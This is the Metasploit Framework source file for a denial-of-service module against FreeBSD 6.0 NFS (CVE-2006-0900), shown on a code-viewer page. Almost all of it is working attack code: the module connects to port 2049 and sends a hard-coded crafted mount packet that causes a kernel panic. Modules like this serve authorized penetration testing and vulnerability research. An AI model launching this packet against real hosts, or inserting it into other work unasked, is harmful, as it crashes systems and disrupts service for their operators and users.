Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/auxiliary/dos/freebsd/nfsd/nfsd_mount.rb
21551 views
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Auxiliary

7
  include Msf::Exploit::Remote::Tcp

8
  include Msf::Auxiliary::Dos

9


10
  def initialize(info = {})

11
    super(

12
      update_info(

13
        info,

14
        'Name' => 'FreeBSD Remote NFS RPC Request Denial of Service',

15
        'Description' => %q{

16
          This module sends a specially-crafted NFS Mount request causing a

17
          kernel panic on host running FreeBSD 6.0.

18
        },

19
        'Author' => [ 'MC' ],

20
        'License' => MSF_LICENSE,

21
        'References' => [

22
          [ 'BID', '16838' ],

23
          [ 'OSVDB', '23511' ],

24
          [ 'CVE', '2006-0900' ],

25
        ],

26
        'Notes' => {

27
          'Stability' => [CRASH_OS_DOWN],

28
          'SideEffects' => [],

29
          'Reliability' => []

30
        }

31
      )

32
    )

33


34
    register_options([Opt::RPORT(2049),])

35
  end

36


37
  def run

38
    connect

39


40
    pkt = "\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02"

41
    pkt << "\x00\x01\x86\xa5\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00"

42
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04"

43


44
    print_status('Sending dos packet...')

45


46
    sock.put(pkt)

47


48
    disconnect

49
  end

50
end

51


52